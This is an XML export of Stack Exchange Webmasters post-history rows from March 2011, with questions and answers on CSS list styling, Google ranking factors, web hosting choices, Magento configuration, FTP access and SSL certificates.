  <row Id="25644" PostHistoryTypeId="2" PostId="11342" RevisionGUID="5b088915-9111-4cf4-af1d-e188e456ac20" CreationDate="2011-03-29T14:34:48.997" UserId="2490" Text="[Arvixe][1] is very good. Many options, x, good service, I'm pleased.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.arvixe.com/1042-3-3-3.html" />
  <row Id="25645" PostHistoryTypeId="2" PostId="11343" RevisionGUID="77ec6f26-5eec-4997-be0f-5752f0af4ceb" CreationDate="2011-03-29T14:39:44.783" UserId="2490" Text="[Arvixe][1] allows you multiple domain on most simple account.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.arvixe.com/1042-3-3-3.html" />
  <row Id="25646" PostHistoryTypeId="2" PostId="11344" RevisionGUID="fc00f496-caee-4c59-a3a4-bf7269c3469e" CreationDate="2011-03-29T14:59:07.130" UserId="6420" Text="I'm trying to recreate list in HTML which has clauses and subclauses like this:&#xD;&#xA;&#xD;&#xA;    1. Main Clause&#xD;&#xA;      (a) Sub clause&#xD;&#xA;      (b) Sub clause&#xD;&#xA;    2. Another main clause&#xD;&#xA;      (a) Sub clause&#xD;&#xA;&#xD;&#xA;The problems I'm running into are:&#xD;&#xA;&#xD;&#xA;1. If I use the existing HTML elements (ol and li) there doesn't seem to be a list style for (a) - I can have a. b. c. or A. B. C. but not (a) (b) (c).&#xD;&#xA;&#xD;&#xA;2. If I don't use the existing HTML elements and start using span tags, then if a subclause runs beyond the end of the line it appears underneath the clause number, rather than being indented.&#xD;&#xA;&#xD;&#xA;Like so:&#xD;&#xA;&#xD;&#xA;    (a) Very long subclause&#xD;&#xA;    which goes over one line&#xD;&#xA;&#xD;&#xA;when what I really want is the behaviour from lists, which is:&#xD;&#xA;&#xD;&#xA;    (a) Very long subclause&#xD;&#xA;        which goes over one line&#xD;&#xA;&#xD;&#xA;Is there any way to get round these two problems at the same time? I'd prefer to use semantic HTML and CSS for styling, but having the clauses spaced correctly is more important than doing things 'the right way'.&#xD;&#xA;&#xD;&#xA;I may need subsubclauses at some point (i.e. (i), (ii) etc.), so I can't assume that (a) will be the maximum clause depth." />
  <row Id="25647" PostHistoryTypeId="1" PostId="11344" RevisionGUID="fc00f496-caee-4c59-a3a4-bf7269c3469e" CreationDate="2011-03-29T14:59:07.130" UserId="6420" Text="Formatting HTML lists using CSS" />
  <row Id="25648" PostHistoryTypeId="3" PostId="11344" RevisionGUID="fc00f496-caee-4c59-a3a4-bf7269c3469e" CreationDate="2011-03-29T14:59:07.130" UserId="6420" Text="&lt;html&gt;&lt;css&gt;" />
  <row Id="25649" PostHistoryTypeId="25" PostId="11339" RevisionGUID="c51a475e-7e27-45d8-94fa-0514e0aa14ad" CreationDate="2011-03-29T15:00:20.753" Comment="http://twitter.com/#!/StackWebmasters/status/52746921294565376" />
  <row Id="25650" PostHistoryTypeId="2" PostId="11345" RevisionGUID="76b9412e-1ea9-41f8-b7c4-3c4d62f1c523" CreationDate="2011-03-29T15:01:52.837" UserId="1253" Text="Your second problem can be solved with CSS using `list-style-position: outside;`&#xD;&#xA;&#xD;&#xA;    ul, ol&#xD;&#xA;    {&#xD;&#xA;        list-style-position: outside;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Result:&#xD;&#xA;&#xD;&#xA;    1. text that is long...and&#xD;&#xA;       wraps around" />
  <row Id="25651" PostHistoryTypeId="5" PostId="11327" RevisionGUID="8404184e-1b67-48e6-b352-e4dc8e4bfb7e" CreationDate="2011-03-29T15:05:43.460" UserId="5847" Comment="fixed grammatical and spelling errors in question " Text="When doing research on SEO you most probably stumbled upon Google's statement there are approximately 200 ranking factors. I think it would be nice to have a list of all these 200 factors.&#xD;&#xA;&#xD;&#xA;Does anybody know if Google ever published all ranking factors? And if so, where these can be found?" />
  <row Id="25652" PostHistoryTypeId="24" PostId="11327" RevisionGUID="8404184e-1b67-48e6-b352-e4dc8e4bfb7e" CreationDate="2011-03-29T15:05:43.460" Comment="Proposed by 5847 approved by 1253 edit id of 85" />
  <row Id="25653" PostHistoryTypeId="2" PostId="11346" RevisionGUID="f24e5320-5835-4f8f-9ca4-d2e88f3fdc06" CreationDate="2011-03-29T15:07:43.590" UserId="5847" Text="Domain &#xD;&#xA;&#xD;&#xA;- Age of Domain &#xD;&#xA;- History of domain &#xD;&#xA;- KWs in domain name &#xD;&#xA;- Sub domain or root domain? &#xD;&#xA;- TLD of Domain &#xD;&#xA;- IP address of domain &#xD;&#xA;- Location of IP address / Server&#xD;&#xA;&#xD;&#xA;Architecture &#xD;&#xA;&#xD;&#xA;- HTML structure &#xD;&#xA;- Use of Headers tags &#xD;&#xA;- URL path &#xD;&#xA;- Use of external CSS / JS files&#xD;&#xA;&#xD;&#xA;Content &#xD;&#xA;&#xD;&#xA;- Keyword density of page &#xD;&#xA;- Keyword in Title Tag &#xD;&#xA;- Keyword in Meta Description (Not Meta Keywords) &#xD;&#xA;- Keyword in KW in header tags (H1, H2 etc) &#xD;&#xA;- Keyword in body text &#xD;&#xA;- Freshness of Content&#xD;&#xA;&#xD;&#xA;Per Inbound Link &#xD;&#xA;&#xD;&#xA;- Quality of website linking in &#xD;&#xA;- Quality of web page linking in &#xD;&#xA;- Age of website &#xD;&#xA;- Age of web page &#xD;&#xA;- Relevancy of page’s content &#xD;&#xA;- Location of link (Footer, Navigation, Body text) &#xD;&#xA;- Anchor text if link &#xD;&#xA;- Title attribute of link &#xD;&#xA;- Alt tag of images linking &#xD;&#xA;- Country specific TLD domain &#xD;&#xA;- Authority TLD (.edu, .gov) &#xD;&#xA;- Location of server &#xD;&#xA;- Authority Link (CNN, BBC, etc)&#xD;&#xA;&#xD;&#xA;Cluster of Links &#xD;&#xA;- Uniqueness of Class C address.&#xD;&#xA;&#xD;&#xA;Internal Cross Linking &#xD;&#xA;&#xD;&#xA;- No of internal links to page &#xD;&#xA;- Location of link on page &#xD;&#xA;- Anchor text of FIRST text link (Bruce Clay’s point at PubCon)&#xD;&#xA;&#xD;&#xA;Penalties &#xD;&#xA;&#xD;&#xA;- Over Optimisation &#xD;&#xA;- Purchasing Links &#xD;&#xA;- Selling Links &#xD;&#xA;- Comment Spamming &#xD;&#xA;- Cloaking &#xD;&#xA;- Hidden Text &#xD;&#xA;- Duplicate Content &#xD;&#xA;- Keyword stuffing &#xD;&#xA;- Manual penalties &#xD;&#xA;- Sandbox effect (Probably the same as age of domain)&#xD;&#xA;&#xD;&#xA;Miscellaneous &#xD;&#xA;&#xD;&#xA;- JavaScript Links &#xD;&#xA;- No Follow Links&#xD;&#xA;&#xD;&#xA;Pending &#xD;&#xA;&#xD;&#xA;- Performance / Load of a website &#xD;&#xA;- Speed of JS&#xD;&#xA;&#xD;&#xA;Misconceptions &#xD;&#xA;&#xD;&#xA;- XML Sitemap (Aids the crawler but doesn’t help rankings) &#xD;&#xA;- PageRank (General Indicator of page’s performance)" />
  <row Id="25654" PostHistoryTypeId="5" PostId="11345" RevisionGUID="b1e7d386-8e3f-401b-b569-b3efc3397a01" CreationDate="2011-03-29T15:08:44.067" UserId="1253" Comment="added 263 characters in body; added 12 characters in body" Text="Your second problem can be solved with CSS using `list-style-position: outside;`&#xD;&#xA;&#xD;&#xA;    ul, ol&#xD;&#xA;    {&#xD;&#xA;        list-style-position: outside;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Result:&#xD;&#xA;&#xD;&#xA;    1. text that is long...and&#xD;&#xA;       wraps around&#xD;&#xA;&#xD;&#xA;Your first problem cannot be solved with CSS or HTML as there is no official (a), (b), etc option for ordered lists. So if you *must* have it formated like that you'll have to get creative and try things like using `&lt;dl&gt;` and dynamically adding your own bullet items.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25655" PostHistoryTypeId="5" PostId="10819" RevisionGUID="4a6a2a6d-4993-4119-9052-c68e8b6a5a24" CreationDate="2011-03-29T15:08:55.383" UserId="6113" Comment="Added a missing word." Text="http://www.seomoz.org/blog title:&#xD;&#xA;&quot;SEO Blog | SEOmoz Blog Featuring Search Engine Marketing Tactics &amp; Strategies&quot;&#xD;&#xA;&#xD;&#xA;http://www.seomoz.org/blog/restricting-robot-access-for-improved-seo title:&#xD;&#xA;&quot;Restricting Robot Access for Improved SEO | SEOmoz&quot;&#xD;&#xA;&#xD;&#xA;They use unique titles for each article, then. TITLE is used to describe a page, not a website. IMHO the best user experience is provided when you use a well defined, consistent template for titles, for example &quot;title of the page - name of the website&quot; or &quot;archives for MONTH YEAR - name of the website&quot;." />
  <row Id="25656" PostHistoryTypeId="5" PostId="11346" RevisionGUID="5db6d74c-8cd0-45aa-8399-848e0823d3e5" CreationDate="2011-03-29T15:20:49.053" UserId="5847" Comment="added 257 characters in body; deleted 11 characters in body" Text="Google's Eric Schmidt said that listing Google's 200 page ranking factors would reveal business secrets. Although Google does not officially publish their ranking algorithms, the guys at WebmasterWorld compiled a pretty comprehensive list. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Domain &#xD;&#xA;&#xD;&#xA;- Age of Domain &#xD;&#xA;- History of domain &#xD;&#xA;- KWs in domain name &#xD;&#xA;- Sub domain or root domain? &#xD;&#xA;- TLD of Domain &#xD;&#xA;- IP address of domain &#xD;&#xA;- Location of IP address / Server&#xD;&#xA;&#xD;&#xA;Architecture &#xD;&#xA;&#xD;&#xA;- HTML structure &#xD;&#xA;- Use of Headers tags &#xD;&#xA;- URL path &#xD;&#xA;- Use of external CSS / JS files&#xD;&#xA;&#xD;&#xA;Content &#xD;&#xA;&#xD;&#xA;- Keyword density of page &#xD;&#xA;- Keyword in Title Tag &#xD;&#xA;- Keyword in Meta Description (Not Meta Keywords) &#xD;&#xA;- Keyword in KW in header tags (H1, H2 etc) &#xD;&#xA;- Keyword in body text &#xD;&#xA;- Freshness of Content&#xD;&#xA;&#xD;&#xA;Per Inbound Link &#xD;&#xA;&#xD;&#xA;- Quality of website linking in &#xD;&#xA;- Quality of web page linking in &#xD;&#xA;- Age of website &#xD;&#xA;- Age of web page &#xD;&#xA;- Relevancy of page’s content &#xD;&#xA;- Location of link (Footer, Navigation, Body text) &#xD;&#xA;- Anchor text if link &#xD;&#xA;- Title attribute of link &#xD;&#xA;- Alt tag of images linking &#xD;&#xA;- Country specific TLD domain &#xD;&#xA;- Authority TLD (.edu, .gov) &#xD;&#xA;- Location of server &#xD;&#xA;- Authority Link (CNN, BBC, etc)&#xD;&#xA;&#xD;&#xA;Cluster of Links &#xD;&#xA;- Uniqueness of Class C address.&#xD;&#xA;&#xD;&#xA;Internal Cross Linking &#xD;&#xA;&#xD;&#xA;- No of internal links to page &#xD;&#xA;- Location of link on page &#xD;&#xA;- Anchor text of FIRST text link (Bruce Clay’s point at PubCon)&#xD;&#xA;&#xD;&#xA;Penalties &#xD;&#xA;&#xD;&#xA;- Over Optimisation &#xD;&#xA;- Purchasing Links &#xD;&#xA;- Selling Links &#xD;&#xA;- Comment Spamming &#xD;&#xA;- Cloaking &#xD;&#xA;- Hidden Text &#xD;&#xA;- Duplicate Content &#xD;&#xA;- Keyword stuffing &#xD;&#xA;- Manual penalties &#xD;&#xA;- Sandbox effect (Probably the same as age of domain)&#xD;&#xA;&#xD;&#xA;Miscellaneous &#xD;&#xA;&#xD;&#xA;- JavaScript Links &#xD;&#xA;- No Follow Links&#xD;&#xA;&#xD;&#xA;Pending &#xD;&#xA;&#xD;&#xA;- Performance / Load of a website &#xD;&#xA;- Speed of JS&#xD;&#xA;&#xD;&#xA;Misconceptions &#xD;&#xA;&#xD;&#xA;- XML Sitemap (Aids the crawler but doesn’t help rankings) &#xD;&#xA;- PageRank (General Indicator of page’s performance)" />
  <row Id="25657" PostHistoryTypeId="2" PostId="11347" RevisionGUID="00247d40-afd7-4d0e-88a6-ad615fd78595" CreationDate="2011-03-29T15:26:36.243" UserId="3890" Text="Rackspace is a good place to go for low cost cloud hosting. Their base Linux instance runs around $11 a month + bandwidth. More importantly their instances are scalable (Amazon EC2 doesn't support instance scaling). Bandwidth is also quite affordable.&#xD;&#xA;&#xD;&#xA;As for cost-benefit, use their cost estimate tool as a reference point.&#xD;&#xA;&#xD;&#xA;See [http://www.rackspace.com/cloud/cloud_hosting_products/servers/pricing/][1].&#xD;&#xA;&#xD;&#xA;Their tech support is also top notch in my experience. They certainly live up to their slogan &quot;Fanatical Support&quot;.&#xD;&#xA;&#xD;&#xA;Bjorn&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.rackspace.com/cloud/cloud_hosting_products/servers/pricing/" />
  <row Id="25659" PostHistoryTypeId="2" PostId="11349" RevisionGUID="2a3b38eb-e85f-49cf-a41a-0ec34fd20c0e" CreationDate="2011-03-29T15:51:06.593" UserId="5847" Text="I would reverse the redirect and leave it as it originally was. Redirect your NEW site to your OLD site. Your OLD site probably is already benefiting from back-linking, age of website, and SEO. It would be a shame to lose that just to replace it with a Newer site w/ a lower page rank. Google punishes redirects. Your NEW site won't have any SEO on it yet so it's better to use a redirect on that one :) " />
  <row Id="25661" PostHistoryTypeId="2" PostId="11350" RevisionGUID="839802ee-1931-4bcb-8bb8-53eda79ba3c8" CreationDate="2011-03-29T15:56:58.260" UserId="5847" Text="Facebook pages have extensive internal linking and get a boost for social media. Every user that likes a particular fan page links to it off their profile info page. If a user's profile is marked as private it won't show up on yahoo's site explorer but will on google. " />
  <row Id="25662" PostHistoryTypeId="2" PostId="11351" RevisionGUID="9472b0d9-96bd-4077-bacd-f09e550329f8" CreationDate="2011-03-29T16:13:00.747" UserId="1126" Text="I noticed [nytimes][1] uses this url parameter to display the entire article.  Maybe other CMSs use this same parameter.  It would make sense bloggers and Web editors would use Urls with the pagewanted parameter to link to the full article.  &#xD;&#xA;&#xD;&#xA;This returns the article in parts: &#xD;&#xA;[http://www.nytimes.com/2011/03/29/world/africa/30libya.html][2]&#xD;&#xA;&#xD;&#xA;This returns the full article:&#xD;&#xA;[http://www.nytimes.com/2011/03/29/world/africa/30libya.html?pagewanted=all][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.nytimes.com&#xD;&#xA;  [2]: http://www.nytimes.com/2011/03/29/world/africa/30libya.html&#xD;&#xA;  [3]: http://www.nytimes.com/2011/03/29/world/africa/30libya.html?pagewanted=all" />
  <row Id="25663" PostHistoryTypeId="2" PostId="11352" RevisionGUID="036e351f-b8bf-452c-9240-203857ff79c5" CreationDate="2011-03-29T16:13:27.090" UserId="5847" Text="1. If you click Settings tab of your connect manager you will see “Preferred State” option there. If you’re installing extension with different “stability” or you get something similar to&#xD;&#xA;&#xD;&#xA;  “Failed to download magento-community/xyz within preferred state “stable”, latest release is version 0.1, stability beta .. ”&#xD;&#xA;&#xD;&#xA;  you should change this option to appropriate one. You should of course be careful with alphas and betas and know what you’re doing.&#xD;&#xA;&#xD;&#xA;  If you are developer or just interested, ftp to downloader/pearlib/download after you install extension and you’ll find packed downloaded extensions there.&#xD;&#xA;&#xD;&#xA;2. Magento upgrade&#xD;&#xA;&#xD;&#xA; You can also automatically upgrade your Magento installation through connect manager with key&#xD;&#xA;&#xD;&#xA; magento-core/Mage_All_Latest&#xD;&#xA;&#xD;&#xA;3. Be sure all files are well unzipped in the directory downloader some of them were missing in my case&#xD;&#xA;" />
  <row Id="25664" PostHistoryTypeId="5" PostId="10355" RevisionGUID="be291b7a-5e4d-49f0-9b7d-182470ad81cc" CreationDate="2011-03-29T16:22:28.643" UserId="5847" Comment="added 6 characters in body" Text="Is there a special port for godaddy servers? &#xD;&#xA;Do I have to call them to enable ftp support?&#xD;&#xA;I can login w the username and password on the control panel on godaddy.com but not on ftp. &#xD;&#xA;I'm not sure what I'm doing wrong. &#xD;&#xA;I tried using Filezilla and CuteFTP Pro using port 21 but w/ no luck.&#xD;&#xA;&#xD;&#xA;Go Daddy's Instructions are: &#xD;&#xA;&#xD;&#xA;1. FTP Address or Hostname: Your Domain Name&#xD;&#xA;2. FTP Username &amp; Password: You selected both of these during account creation&#xD;&#xA;3. Start Directory: You should leave this blank or include a single forward slash (i.e. /)&#xD;&#xA;4. FTP Port: You should enter Standard, or 21.&#xD;&#xA;•FTP Client. ( ◦Filezilla, ◦WS-FTP, ◦CuteFTP Pro, ◦AceFTP )&#xD;&#xA;&#xD;&#xA;Thanks! " />
  <row Id="25665" PostHistoryTypeId="2" PostId="11353" RevisionGUID="e334e379-9242-4af7-8e02-f03a24bae2fb" CreationDate="2011-03-29T16:31:42.300" UserId="5847" Text="Try these: &#xD;&#xA;&#xD;&#xA;- http://elitter.net - FreeShells &amp; Web hosting&#xD;&#xA;- http://b2evolution.net/web-hosting/goto/hostgator - 3.95/mo w/ SSH Shell Access&#xD;&#xA;- http://shells.red-pill.eu/ - has a complete list of free shells&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25666" PostHistoryTypeId="2" PostId="11354" RevisionGUID="4cf99892-5fe6-456b-8721-dc57306684a3" CreationDate="2011-03-29T14:48:06.737" UserDisplayName="RichHalliwell" Text="I'm trying to setup a site rating survey so marketing in my company can gather feedback information about a site. I've seen before large companies using a tool which puts a small animated crosshair in the bottom right of the screen [+]. what on earth is this company called? multiple searches don't seem to bring it up! " />
  <row Id="25667" PostHistoryTypeId="1" PostId="11354" RevisionGUID="4cf99892-5fe6-456b-8721-dc57306684a3" CreationDate="2011-03-29T14:48:06.737" UserDisplayName="RichHalliwell" Text="What is the online survey/feedback widget that looks like &quot;[+]&quot; (a crosshair) in the bottom right" />
  <row Id="25668" PostHistoryTypeId="3" PostId="11354" RevisionGUID="4cf99892-5fe6-456b-8721-dc57306684a3" CreationDate="2011-03-29T14:48:06.737" UserDisplayName="RichHalliwell" Text="&lt;tools&gt;&lt;online&gt;" />
  <row Id="25669" PostHistoryTypeId="17" PostId="11354" RevisionGUID="0f1845a6-5029-4196-ad41-1cc345d1ffad" CreationDate="2011-03-29T16:40:38.990" UserId="-1" Comment="from http://stackoverflow.com/questions/5474466/what-is-the-online-survey-feedback-widget-that-looks-like-a-crosshair-in" Text="" />
  <row Id="25670" PostHistoryTypeId="2" PostId="11355" RevisionGUID="6991fa09-0208-4bb0-8ceb-108d85f0c0ea" CreationDate="2011-03-29T16:33:32.953" UserDisplayName="Phil Rosenstein" Text="what is a reasonable and reputable SSL certificate signing authority, and how do they verify the domain in the simplest case?  Do they simply send an email to the Technical Contact for the domain name like when initiating a transfer, and then boom, verified certificate?" />
  <row Id="25671" PostHistoryTypeId="1" PostId="11355" RevisionGUID="6991fa09-0208-4bb0-8ceb-108d85f0c0ea" CreationDate="2011-03-29T16:33:32.953" UserDisplayName="Phil Rosenstein" Text="reasonable ssl certificate authority" />
  <row Id="25672" PostHistoryTypeId="3" PostId="11355" RevisionGUID="6991fa09-0208-4bb0-8ceb-108d85f0c0ea" CreationDate="2011-03-29T16:33:32.953" UserDisplayName="Phil Rosenstein" Text="&lt;ssl&gt;&lt;domains&gt;&lt;ssl-certificate&gt;" />
  <row Id="25673" PostHistoryTypeId="17" PostId="11355" RevisionGUID="18cd05ea-c5bb-4c46-b14f-cf94077448b6" CreationDate="2011-03-29T16:41:25.573" UserId="-1" Comment="from http://stackoverflow.com/questions/5475840/reasonable-ssl-certificate-authority" Text="" />
  <row Id="25674" PostHistoryTypeId="2" PostId="11356" RevisionGUID="d801b9a6-f56f-46b9-9506-acabe3ba9a91" CreationDate="2011-03-28T19:31:36.093" UserDisplayName="Diblo Dk" Text="I live in Denmark in the daily and need to find a web host that can keep up at the world level.&lt;br /&gt;&#xD;&#xA;Should there be some who is familiar with hotels that can follow the requirements below.&#xD;&#xA;&#xD;&#xA;**Overall**&#xD;&#xA;&#xD;&#xA; - Clustered Web&#xD;&#xA; - 24/7 Expert Helpdesk and Server Monitoring&#xD;&#xA; - Linux Operating System&#xD;&#xA; - Unlimited Subdomains&#xD;&#xA; - 50 MySQL Databases&#xD;&#xA; - FTP and FTPS Access&#xD;&#xA; - Fast connectivity to any destination - World Wide. (Stable/Low DNS, TTFB and similar)&#xD;&#xA;&#xD;&#xA;**Management**&#xD;&#xA;&#xD;&#xA; - Full DNS Management&#xD;&#xA; - Web Mail Access&#xD;&#xA; - phpMyAdmin&#xD;&#xA; - Cronjobs&#xD;&#xA;&#xD;&#xA;**Mail**&#xD;&#xA;&#xD;&#xA; - IMAP/POP3/SMTP&#xD;&#xA; - Mail Auto Responders&#xD;&#xA; - Catch-All Mailbox&#xD;&#xA; - Microsoft Exchange Enabled&#xD;&#xA;&#xD;&#xA;**Apache**&#xD;&#xA;&#xD;&#xA; - Python and perl CGI Support&#xD;&#xA; - Secure Server (SSL)&#xD;&#xA; - mod_rewrite&#xD;&#xA; - Full .htaccess Support&#xD;&#xA;&#xD;&#xA;**PHP**&#xD;&#xA;&#xD;&#xA; - PHP v 4.4 &amp; 5.2&#xD;&#xA; - ImageMagick and GD&#xD;&#xA; - CURL&#xD;&#xA; - RTF, POWERPOINT, EXCEL, WORD and PDF parser&#xD;&#xA; - Zip Utility&#xD;&#xA; - xhprof&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25675" PostHistoryTypeId="1" PostId="11356" RevisionGUID="d801b9a6-f56f-46b9-9506-acabe3ba9a91" CreationDate="2011-03-28T19:31:36.093" UserDisplayName="Diblo Dk" Text="Clustered Web host" />
  <row Id="25676" PostHistoryTypeId="3" PostId="11356" RevisionGUID="d801b9a6-f56f-46b9-9506-acabe3ba9a91" CreationDate="2011-03-28T19:31:36.093" UserDisplayName="Diblo Dk" Text="&lt;web&gt;&lt;web-hosting&gt;" />
  <row Id="25677" PostHistoryTypeId="17" PostId="11356" RevisionGUID="a5663026-cd0f-4d11-8981-40a912d51808" CreationDate="2011-03-29T16:45:52.967" UserId="-1" Comment="from http://stackoverflow.com/questions/5464053/clustered-web-host" Text="" />
  <row Id="25678" PostHistoryTypeId="2" PostId="11357" RevisionGUID="f30c79b0-09ec-49e1-88ff-b41d9718f5c7" CreationDate="2011-03-29T10:15:16.400" UserDisplayName="jplozanojuan" Text="I've setup paypal on Configuration &gt; Sales &gt; Paypal a thousand times, but still not getting the Paypal option listed in the Payment methods on the Checkout process. And yes, I have filled out all the required info like the API credentials and such.&#xD;&#xA;Also, I'm not getting any errors from Magento at all.&#xD;&#xA;&#xD;&#xA;This is driving me crazy and it seems that no one (as far as I see) has gone throught this situation.&#xD;&#xA;&#xD;&#xA;Thanks in advance." />
  <row Id="25679" PostHistoryTypeId="1" PostId="11357" RevisionGUID="f30c79b0-09ec-49e1-88ff-b41d9718f5c7" CreationDate="2011-03-29T10:15:16.400" UserDisplayName="jplozanojuan" Text="Magento checkout with Paypal" />
  <row Id="25680" PostHistoryTypeId="3" PostId="11357" RevisionGUID="f30c79b0-09ec-49e1-88ff-b41d9718f5c7" CreationDate="2011-03-29T10:15:16.400" UserDisplayName="jplozanojuan" Text="&lt;magento&gt;&lt;paypal&gt;" />
  <row Id="25681" PostHistoryTypeId="17" PostId="11357" RevisionGUID="cb3e3f02-fe0e-4707-83b0-380de2cb7cc4" CreationDate="2011-03-29T16:48:43.763" UserId="-1" Comment="from http://stackoverflow.com/questions/5470946/magento-checkout-with-paypal" Text="" />
  <row Id="25687" PostHistoryTypeId="4" PostId="11306" RevisionGUID="9e87ebc1-bc30-4bc5-8d67-99b15120b296" CreationDate="2011-03-29T17:23:45.640" UserId="5847" Comment="added more descriptive title" Text="SEO - Facebook pages get PageRank with absolute no links to them?!" />
  <row Id="25688" PostHistoryTypeId="24" PostId="11306" RevisionGUID="9e87ebc1-bc30-4bc5-8d67-99b15120b296" CreationDate="2011-03-29T17:23:45.640" Comment="Proposed by 5847 approved by -1 edit id of 88" />
  <row Id="25689" PostHistoryTypeId="4" PostId="11306" RevisionGUID="c56b5d94-10ca-4994-8571-e195ad9a672f" CreationDate="2011-03-29T17:23:45.877" UserId="1429" Comment="edited title; edited title" Text="SEO - PageRank on Facebook pages, but pages have no back links to them?!" />
  <row Id="25690" PostHistoryTypeId="2" PostId="11360" RevisionGUID="e0593879-267e-4519-8285-3d55c0a54e3e" CreationDate="2011-03-29T17:26:18.870" UserId="6423" Text="Earlier this month I wrote a detailed post [&quot;How to segment and filter out robot traffic [in Google Analytics]&quot; with step-by-step instructions and screenshots][1]. Enjoy!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.yottaa.com/2011/03/google-analytics-how-to-segment-and-filter-out-robot-traffic/" />
  <row Id="25691" PostHistoryTypeId="5" PostId="11328" RevisionGUID="ba06f797-cdd1-43f4-ae8e-074f52b19426" CreationDate="2011-03-29T17:27:58.173" UserId="5847" Comment="Added On-Page Non Keyword Ranking Factors and Page-Specific Link Popularity Ranking Factors " Text="There's a great roundup of the factors, and how important they are thought to be, at SEOMoz&#xD;&#xA;&#xD;&#xA;http://www.seomoz.org/article/search-ranking-factors#ranking-factors&#xD;&#xA;&#xD;&#xA;On-Page (Keyword-Specific) Ranking Factors&#xD;&#xA;&#xD;&#xA;- Keyword Use Anywhere in the Title Tag&#xD;&#xA;- Keyword Use as the First Word(s) of the Title Tag&#xD;&#xA;- Keyword Use in the Root Domain Name (e.g. keyword.com)&#xD;&#xA;- Keyword Use Anywhere in the H1 Headline Tag&#xD;&#xA;- Keyword Use in Internal Link Anchor Text on the Page&#xD;&#xA;- Keyword Use in External Link Anchor Text on the Page&#xD;&#xA;- Keyword Use as the First Word(s) in the H1 Tag&#xD;&#xA;- Keyword Use in the First 50-100 Words in HTML on the Page&#xD;&#xA;- Keyword Use in the Subdomain Name (e.g. keyword.seomoz.org)&#xD;&#xA;- Keyword Use in the Page Name URL (e.g. seomoz.org/folder/keyword.html)&#xD;&#xA;- Keyword Use in the Page Folder URL (e.g. seomoz.org/keyword/page.html)&#xD;&#xA;- Keyword Use in other Headline Tags (&lt;h2&gt; – &lt;h6&gt;)&#xD;&#xA;- Keyword Use in Image Alt Text&#xD;&#xA;- Keyword Use / Number of Repetitions in the HTML Text on the Page&#xD;&#xA;- Keyword Use in Image Names Included on the Page (e.g. keyword.jpg)&#xD;&#xA;- Keyword Use in &lt;b&gt; or &lt;strong&gt; Tags&#xD;&#xA;- Keyword Density Formula (# of Keyword Uses ÷ Total # of Terms on the Page)&#xD;&#xA;- Keyword Use in List Items &lt;li&gt; on the Page&#xD;&#xA;- Keyword Use in the Page’s Query Parameters (e.g. seomoz.org/page.html?keyword)&#xD;&#xA;- Keyword Use in &lt;i&gt; or &lt;em&gt; Tags&#xD;&#xA;- Keyword Use in the Meta Description Tag&#xD;&#xA;- Keyword Use in the Page’s File Extension (e.g. seomoz.org/page.keyword)&#xD;&#xA;- Keyword Use in Comment Tags in the HTML&#xD;&#xA;- Keyword Use in the Meta Keywords Tag&#xD;&#xA;&#xD;&#xA;On-Page (Non-Keyword) Ranking Factors&#xD;&#xA;&#xD;&#xA;- Existence of Substantive, Unique Content on the Page&#xD;&#xA;- Recency (freshness) of Page Creation&#xD;&#xA;- Use of Links on the Page that Point to Other URLs on this Domain&#xD;&#xA;- Historical Content Changes (how often the page content has been updated)&#xD;&#xA;- Use of External-Pointing Links on the Page&#xD;&#xA;- Query Parameters in the URL vs. Static URL Format&#xD;&#xA;- Ratio of Code to Text in HTML&#xD;&#xA;- Existence of a Meta Description Tag&#xD;&#xA;- HTML Validation to W3C Standards&#xD;&#xA;- Use of Flash Elements (or other plug-in content)&#xD;&#xA;- Use of Advertising on the Page&#xD;&#xA;- Use of Google AdSense (specifically) on the Page&#xD;&#xA;&#xD;&#xA;Page-Specific Link Popularity Ranking Factors&#xD;&#xA;&#xD;&#xA;- Keyword-Focused Anchor Text from External Links&#xD;&#xA;- External Link Popularity (quantity/quality of external links)&#xD;&#xA;- Diversity of Link Sources (links from many unique root domains)&#xD;&#xA;- Page-Specific TrustRank (whether the individual page has earned links from trusted sources)&#xD;&#xA;- Iterative Algorithm-Based, Global Link Popularity (PageRank)&#xD;&#xA;- Topic-Specificity/Focus of External Link Sources (whether external links to this page come from topically relevant pages/sites)&#xD;&#xA;- Keyword-Focused Anchor Text from Internal Links&#xD;&#xA;- Location in Information Architecture of the Site (where the page sits in relation to the site’s structural hierarchy)&#xD;&#xA;- Internal Link Popularity (counting only links from other pages on the root domain)&#xD;&#xA;- Quantity &amp; Quality of Nofollowed Links to the Page&#xD;&#xA;- Percent of Followed vs. Nofollowed Links that Point to the Page" />
  <row Id="25692" PostHistoryTypeId="24" PostId="11328" RevisionGUID="ba06f797-cdd1-43f4-ae8e-074f52b19426" CreationDate="2011-03-29T17:27:58.173" Comment="Proposed by 5847 approved by 108 edit id of 87" />
  <row Id="25693" PostHistoryTypeId="6" PostId="11356" RevisionGUID="aaef8fa9-79c4-45b7-ba5f-79ea7784071a" CreationDate="2011-03-29T17:34:20.707" UserId="1253" Comment="Removed &quot;web, hosting&quot; tags, added &quot;looking-for-a-host&quot; tag" Text="&lt;looking-for-hosting&gt;" />
  <row Id="25694" PostHistoryTypeId="2" PostId="11361" RevisionGUID="9aa75707-7ba6-4693-9707-c698738fe917" CreationDate="2011-03-29T17:46:07.000" UserId="1429" Text="http://wordpress.org/extend/themes/tag-filter/&#xD;&#xA;&#xD;&#xA;http://www.openwebdesign.org" />
  <row Id="25695" PostHistoryTypeId="2" PostId="11362" RevisionGUID="fdc71ed8-77c2-4757-b2eb-02b9cb990346" CreationDate="2011-03-29T17:54:16.920" UserId="1429" Text="If your user is **not allowed to ever change the user name** he chooses the 1st time, and you are absolutly sure that **you will never give the user the possibilty to change such user name for the rest of his life**, you could also just use this user name as a unique primary key.&#xD;&#xA;&#xD;&#xA;This is not the case when user name is the email itself, it would be nosense to not allow the user to change it ever." />
